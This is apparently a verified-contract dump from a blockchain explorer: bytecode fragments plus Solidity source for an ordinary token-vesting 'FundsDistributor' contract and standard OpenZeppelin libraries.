357c565b91505092959194509250565b6000806040838503121561370857600080fd5b8235613713816140b0565b91506020830135801515811461363e57600080fd5b6000806040838503121561373b57600080fd5b8235613746816140b0565b946020939093013593505050565b60006020828403121561376657600080fd5b8135611a3e816140c5565b60006020828403121561378357600080fd5b8151611a3e816140c5565b6000602082840312156137a057600080fd5b81356001600160401b038111156137b657600080fd5b8201601f810184136137c757600080fd5b6129cf848235602084016134bf565b6000602082840312156137e857600080fd5b611a3e8261359c565b60008060006040848603121561380657600080fd5b61380f8461359c565b925060208401356001600160401b0381111561382a57600080fd5b61383686828701613534565b9497909650939450505050565b60008060006060848603121561385857600080fd5b6138618461359c565b925060208401356001600160401b0381111561387c57600080fd5b6138888682870161357c565b925050604084013590509250925092565b6000806000806000608086880312156138b157600080fd5b6138ba8661359c565b945060208601356001600160401b03808211156138d657600080fd5b6138e289838a0161357c565b95506138f0604089016135ae565b9450606088013591508082111561390657600080fd5b5061391388828901613534565b969995985093965092949392505050565b6000806000806080858703121561393a57600080fd5b6139438561359c565b935060208501356001600160401b038082111561395f57600080fd5b61396b8883890161357c565b9450613979604088016135ae565b9350606087013591508082111561398f57600080fd5b506136e98782880161357c565b600080604083850312156139af57600080fd5b6137468361359c565b6000602082840312156139ca57600080fd5b5035919050565b600080604083850312156139e457600080fd5b505080516020909101519092909150565b600060208284031215613a0757600080fd5b813560ff81168114611a3e57600080fd5b60008151808452613a30816020860160208601613f8f565b601f01601f19169290920160200192915050565b8183823760009101908152919050565b60008251613a66818460208701613f8f565b9190910192915050565b6000808354613a7e81613fd2565b60018281168015613a965760018114613aa757613ad6565b60ff19841687528287019450613ad6565b8760005260208060002060005b85811015613acd5781548a820152908401908201613ab4565b50505082870194505b50929695505050505050565b60008351613af4818460208801613f8f565b835190830190613b08818360208801613f8f565b01949350505050565b6001600160a01b0385811682528416602082015260408101839052608060608201819052600090613b4490830184613a18565b9695505050505050565b6020808252825182820181905260009190848201906040850190845b81811015613b8657835183529284019291840191600101613b6a565b50909695505050505050565b602081526000611a3e6020830184613a18565b60208082526033908201527f455243373231423a207472616e7366657220746f206e6f6e204552433732315260408201527232b1b2b4bb32b91034b6b83632b6b2b73a32b960691b606082015260800190565b60208082526021908201527f455243373231423a206d696e7420746f20746865206275726e206164647265736040820152607360f81b606082015260800190565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b60208082526028908201527f43616e206e6f74206d696e74206d6f7265207468616e204d41585f4d494e545f604082015267455448455245554d60c01b606082015260800190565b6020808252602f908201527f455243373231423a20756e61626c6520746f2064657465726d696e652074686560408201526e1037bbb732b91037b3103a37b5b2b760891b606082015260800190565b61ffff861681526001600160a01b038516602082015260a060408201819052600090613d3390830186613a18565b84151560608401528281036080840152613d4d8185613a18565b98975050505050505050565b61ffff86168152608060208201526000613d766080830187613a18565b6001600160401b03861660408401528281036060840152838152838560208301376000602085830101526020601f19601f8601168201019150509695505050505050565b61ffff85168152608060208201526000613dd76080830186613a18565b6001600160401b03851660408401528281036060840152613df88185613a18565b979650505050505050565b61ffff871681526000602060c08184015260008854613e2181613fd2565b8060c087015260e0600180841660008114613e435760018114613e5857613e86565b60ff1985168984015261010089019550613e86565b8d6000528660002060005b85811015613e7e5781548b8201860152908301908801613e63565b8a0184019650505b50505050508381036040850152613e9d8189613a18565b915050613eb560608401876001600160a01b03169052565b6001600160a01b038516608084015282810360a0840152613ed68185613a18565b9998505050505050505050565b60006001600160801b03808316818516808303821115613b0857613b08614058565b60008219821115613f1857613f18614058565b500190565b600082613f2c57613f2c61406e565b500490565b6000816000190483118215151615613f4b57613f4b614058565b500290565b60006001600160801b0383811690831681811015613f7057613f70614058565b039392505050565b600082821015613f8a57613f8a614058565b500390565b60005b83811015613faa578181015183820152602001613f92565b83811115610afc5750506000910152565b600081613fca57613fca614058565b506000190190565b600181811c90821680613fe657607f821691505b602082108114156117b857634e487b7160e01b600052602260045260246000fd5b600061ffff8083168181141561401f5761401f614058565b6001019392505050565b600060001982141561403d5761403d614058565b5060010190565b6000826140535761405361406e565b500690565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052601260045260246000fd5b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b03811681146114fc57600080fd5b6001600160e01b0319811681146114fc57600080fdfeddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3efa2646970667358221220f59c8aadd38c663aa3d3b8da6bfabb1746887db14d7f8cbec8fc33f6bf0fc03e64736f6c63430008070033
[ 10, 5, 12 ]
0xF2333FB343B066E460f643eB024304C8ED5Ea580
// SPDX-License-Identifier: MIT pragma solidity 0.6.11; import "./TokenVesting.sol"; contract FundsDistributor is TokenVesting { /// @notice identifier for the contract string public identifier; /** * @notice Construct a new Funds Distributor Contract * @param beneficiary address of the beneficiary to whom vested tokens are transferred * @param cliffDuration duration in seconds of the cliff in which tokens will begin to vest * @param start the time (as Unix time) at which point vesting starts * @param duration duration in seconds of the period in which the tokens will vest * @param revocable whether the vesting is revocable or not * @param _identifier unique identifier for the contract */ constructor(address beneficiary, uint256 start, uint256 cliffDuration, uint256 duration, bool revocable, string memory _identifier) TokenVesting(beneficiary, start, cliffDuration, duration, revocable) public { identifier = _identifier; } } // SPDX-License-Identifier: MIT pragma solidity 0.6.11; import "@openzeppelin/contracts/token/ERC20/SafeERC20.sol"; import "@openzeppelin/contracts/access/Ownable.sol"; import "@openzeppelin/contracts/math/SafeMath.sol"; /** * @title TokenVesting * @dev A token holder contract that can release its token balance gradually like a * typical vesting scheme, with a cliff and vesting period. Optionally revocable by the * owner. */ contract TokenVesting is Ownable { // The vesting schedule is time-based (i.e. using block timestamps as opposed to e.g. block numbers), and is // therefore sensitive to timestamp manipulation (which is something miners can do, to a certain degree). Therefore, // it is recommended to avoid using short time durations (less than a minute). Typical vesting schemes, with a // cliff period of a year and a duration of four years, are safe to use. // solhint-disable not-rely-on-time using SafeMath for uint256; using SafeERC20 for IERC20; event TokensReleased(address token, uint256 amount); event TokensReleasedToAccount(address token, address receiver, uint256 amount); event VestingRevoked(address token); event BeneficiaryChanged(address newBeneficiary); // beneficiary of tokens after they are released address private _beneficiary; // Durations and timestamps are expressed in UNIX time, the same units as block.timestamp. uint256 private immutable _cliff; uint256 private immutable _start; uint256 private immutable _duration; bool private immutable _revocable; mapping (address => uint256) private _released; mapping (address => bool) private _revoked; /** * @dev Creates a vesting contract that vests its balance of any ERC20 token to the * beneficiary, gradually in a linear fashion until start + duration. By then all * of the balance will have vested. * @param beneficiary address of the beneficiary to whom vested tokens are transferred * @param cliffDuration duration in seconds of the cliff in which tokens will begin to vest * @param start the time (as Unix time) at which point vesting starts * @param duration duration in seconds of the period in which the tokens will vest * @param revocable whether the vesting is revocable or not */ constructor (address beneficiary, uint256 start, uint256 cliffDuration, uint256 duration, bool revocable) public { require(beneficiary != address(0), "TokenVesting::constructor: beneficiary is the zero address"); // solhint-disable-next-line max-line-length require(cliffDuration <= duration, "TokenVesting::constructor: cliff is longer than duration"); require(duration > 0, "TokenVesting::constructor: duration is 0"); // solhint-disable-next-line max-line-length require(start.add(duration) > block.timestamp, "TokenVesting::constructor: final time is before current time"); _beneficiary = beneficiary; _revocable = revocable; _duration = duration; _cliff = start.add(cliffDuration); _start = start; } /** * @return the beneficiary of the tokens. */ function beneficiary() public view returns (address) { return _beneficiary; } /** * @return the cliff time of the token vesting. */ function cliff() public view returns (uint256) { return _cliff; } /** * @return the start time of the token vesting. */ function start() public view returns (uint256) { return _start; } /** * @return the duration of the token vesting. */ function duration() public view returns (uint256) { return _duration; } /** * @return true if the vesting is revocable. */ function revocable() public view returns (bool) { return _revocable; } /** * @return the amount of the token released. */ function released(address token) public view returns (uint256) { return _released[token]; } /** * @return true if the token is revoked. */ function revoked(address token) public view returns (bool) { return _revoked[token]; } /** * @notice Transfers vested tokens to beneficiary. * @param token ERC20 token which is being vested */ function release(IERC20 token) public { uint256 unreleased = _releasableAmount(token); require(unreleased > 0, "TokenVesting::release: no tokens are due"); _released[address(token)] = _released[address(token)].add(unreleased); token.safeTransfer(_beneficiary, unreleased); emit TokensReleased(address(token), unreleased); } /** * @notice Transfers vested tokens to given address. * @param token ERC20 token which is being vested * @param receiver Address receiving the token * @param amount Amount of tokens to be transferred */ function releaseToAddress(IERC20 token, address receiver, uint256 amount) public { require(_msgSender() == _beneficiary, "TokenVesting::setBeneficiary: Not contract beneficiary"); require(amount > 0, "TokenVesting::_releaseToAddress: amount should be greater than 0"); require(receiver != address(0), "TokenVesting::_releaseToAddress: receiver is the zero address"); uint256 unreleased = _releasableAmount(token); require(unreleased > 0, "TokenVesting::_releaseToAddress: no tokens are due"); require(unreleased >= amount, "TokenVesting::_releaseToAddress: enough tokens not vested yet"); _released[address(token)] = _released[address(token)].add(amount); token.safeTransfer(receiver, amount); emit TokensReleasedToAccount(address(token), receiver, amount); } /** * @notice Allows the owner to revoke the vesting. Tokens already vested * remain in the contract, the rest are returned to the owner. * @param token ERC20 token which is being vested */ function revoke(IERC20 token) public onlyOwner { require(_revocable, "TokenVesting::revoke: cannot revoke"); require(!_revoked[address(token)], "TokenVesting::revoke: token already revoked"); uint256 balance = token.balanceOf(address(this)); uint256 unreleased = _releasableAmount(token); uint256 refund = balance.sub(unreleased); _revoked[address(token)] = true; token.safeTransfer(owner(), refund); emit VestingRevoked(address(token)); } /** * @notice Change the beneficiary of the contract * @param newBeneficiary The new beneficiary address for the Contract */ function setBeneficiary(address newBeneficiary) public { require(_msgSender() == _beneficiary, "TokenVesting::setBeneficiary: Not contract beneficiary"); require(_beneficiary != newBeneficiary, "TokenVesting::setBeneficiary: Same beneficiary address as old"); _beneficiary = newBeneficiary; emit BeneficiaryChanged(newBeneficiary); } /** * @dev Calculates the amount that has already vested but hasn't been released yet. * @param token ERC20 token which is being vested */ function _releasableAmount(IERC20 token) private view returns (uint256) { return _vestedAmount(token).sub(_released[address(token)]); } /** * @dev Calculates the amount that has already vested. * @param token ERC20 token which is being vested */ function _vestedAmount(IERC20 token) private view returns (uint256) { uint256 currentBalance = token.balanceOf(address(this)); uint256 totalBalance = currentBalance.add(_released[address(token)]); if (block.timestamp < _cliff) { return 0; } else if (block.timestamp >= _start.add(_duration) || _revoked[address(token)]) { return totalBalance; } else { return totalBalance.mul(block.timestamp.sub(_start)).div(_duration); } } /** * @dev Returns the amount that has already vested. * @param token ERC20 token which is being vested */ function vestedAmount(IERC20 token) public view returns (uint256) { return _vestedAmount(token); } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; import "./IERC20.sol"; import "../../math/SafeMath.sol"; import "../../utils/Address.sol"; /** * @title SafeERC20 * @dev Wrappers around ERC20 operations that throw on failure (when the token * contract returns false). Tokens that return no value (and instead revert or * throw on failure) are also supported, non-reverting calls are assumed to be * successful. * To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract, * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. */ library SafeERC20 { using SafeMath for uint256; using Address for address; function safeTransfer(IERC20 token, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } /** * @dev Deprecated. This function has issues similar to the ones found in * {IERC20-approve}, and its usage is discouraged. * * Whenever possible, use {safeIncreaseAllowance} and * {safeDecreaseAllowance} instead. */ function safeApprove(IERC20 token, address spender, uint256 value) internal { // safeApprove should only be called when setting an initial allowance, // or when resetting it to zero. To increase and decrease it, use // 'safeIncreaseAllowance' and 'safeDecreaseAllowance' // solhint-disable-next-line max-line-length require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).add(value); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero"); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } /** * @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement * on the return value: the return value is optional (but if data is returned, it must not be false). * @param token The token targeted by the call. * @param data The call data (encoded using abi.encode or one of its variants). */ function _callOptionalReturn(IERC20 token, bytes memory data) private { // We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since // we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that // the target address contains contract code and also asserts for success in the low-level call. bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; import "../utils/Context.sol"; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () internal { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) { uint256 c = a + b; if (c < a) return (false, 0); return (true, c); } /** * @dev Returns the substraction of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b > a) return (false, 0); return (true, a - b); } /** * @dev Returns the multiplication of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) return (true, 0); uint256 c = a * b; if (c / a != b) return (false, 0); return (true, c); } /** * @dev Returns the division of two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b == 0) return (false, 0); return (true, a / b); } /** * @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b == 0) return (false, 0); return (true, a % b); } /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a, "SafeMath: subtraction overflow"); return a - b; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) return 0; uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers, reverting on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "SafeMath: division by zero"); return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "SafeMath: modulo by zero"); return a % b; } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {trySub}. * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); return a - b; } /** * @dev Returns the integer division of two unsigned integers, reverting with custom message on * division by zero. The result is rounded towards zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryDiv}. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting with custom message when dividing by zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryMod}. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); return a % b; } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // SPDX-License-Identifier: MIT pragma solidity >=0.6.2 <0.8.0; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: value }(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.staticcall(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.delegatecall(data); return _verifyCallResult(success, returndata, errorMessage); } function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with GSN meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } }
0x608060405234801561001057600080fd5b50600436106101005760003560e01c806374a8f103116100975780639852595c116100665780639852595c146102c4578063be9a6555146102ea578063f2fde38b146102f2578063fa01dc061461031857610100565b806374a8f103146101fd5780637998a1c414610223578063872a7810146102a05780638da5cb5b146102bc57610100565b8063384711cc116100d3578063384711cc1461017557806338af3eed1461019b5780634cb6464d146101bf578063715018a6146101f557610100565b80630fb5a6b41461010557806313d033c01461011f57806319165587146101275780631c31f7101461014f575b600080fd5b61010d61033e565b60408051918252519081900360200190f35b61010d610362565b61014d6004803603602081101561013d57600080fd5b50356001600160a01b0316610386565b005b61014d6004803603602081101561016557600080fd5b50356001600160a01b0316610475565b61010d6004803603602081101561018b57600080fd5b50356001600160a01b031661056f565b6101a3610582565b604080516001600160a01b039092168252519081900360200190f35b61014d600480360360608110156101d557600080fd5b506001600160a01b03813581169160208101359091169060400135610591565b61014d61079f565b61014d6004803603602081101561021357600080fd5b50356001600160a01b031661085d565b61022b610aa5565b6040805160208082528351818301528351919283929083019185019080838360005b8381101561026557818101518382015260200161024d565b50505050905090810190601f1680156102925780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6102a8610b33565b604080519115158252519081900360200190f35b6101a3610b57565b61010d600480360360208110156102da57600080fd5b50356001600160a01b0316610b66565b61010d610b81565b61014d6004803603602081101561030857600080fd5b50356001600160a01b0316610ba5565b6102a86004803603602081101561032e57600080fd5b50356001600160a01b0316610cb9565b7f00000000000000000000000000000000000000000000000000000000033e910090565b7f0000000000000000000000000000000000000000000000000000000060eaae6090565b600061039182610d3a565b9050600081116103d25760405162461bcd60e51b81526004018080602001828103825260288152602001806113e86028913960400191505060405180910390fd5b6001600160a01b0382166000908152600260205260409020546103fb908263ffffffff610cd716565b6001600160a01b0380841660008181526002602052604090209290925560015461042d9291168363ffffffff610d6c16565b604080516001600160a01b03841681526020810183905281517fc7798891864187665ac6dd119286e44ec13f014527aeeb2b8eb3fd413df93179929181900390910190a15050565b6001546001600160a01b0316610489610dc3565b6001600160a01b0316146104ce5760405162461bcd60e51b815260040180806020018281038252603681526020018061138c6036913960400191505060405180910390fd5b6001546001600160a01b038281169116141561051b5760405162461bcd60e51b815260040180806020018281038252603d815260200180611522603d913960400191505060405180910390fd5b600180546001600160a01b0383166001600160a01b0319909116811790915560408051918252517f373c72efabe4ef3e552ff77838be729f3bc3d8c586df0012902d1baa2377fa1d9181900360200190a150565b600061057a82610dc7565b90505b919050565b6001546001600160a01b031690565b6001546001600160a01b03166105a5610dc3565b6001600160a01b0316146105ea5760405162461bcd60e51b815260040180806020018281038252603681526020018061138c6036913960400191505060405180910390fd5b600081116106295760405162461bcd60e51b81526004018080602001828103825260408152602001806114e26040913960400191505060405180910390fd5b6001600160a01b03821661066e5760405162461bcd60e51b815260040180806020018281038252603d815260200180611410603d913960400191505060405180910390fd5b600061067984610d3a565b9050600081116106ba5760405162461bcd60e51b81526004018080602001828103825260328152602001806115c66032913960400191505060405180910390fd5b818110156106f95760405162461bcd60e51b815260040180806020018281038252603d81526020018061155f603d913960400191505060405180910390fd5b6001600160a01b038416600090815260026020526040902054610722908363ffffffff610cd716565b6001600160a01b03851660008181526002602052604090209190915561074f90848463ffffffff610d6c16565b604080516001600160a01b0380871682528516602082015280820184905290517f5771d27c3bda2d39985b929f5e739573a21a8ec4c3bd42fa8653dea8b5a4fa419181900360600190a150505050565b6107a7610dc3565b6001600160a01b03166107b8610b57565b6001600160a01b031614610813576040805162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f74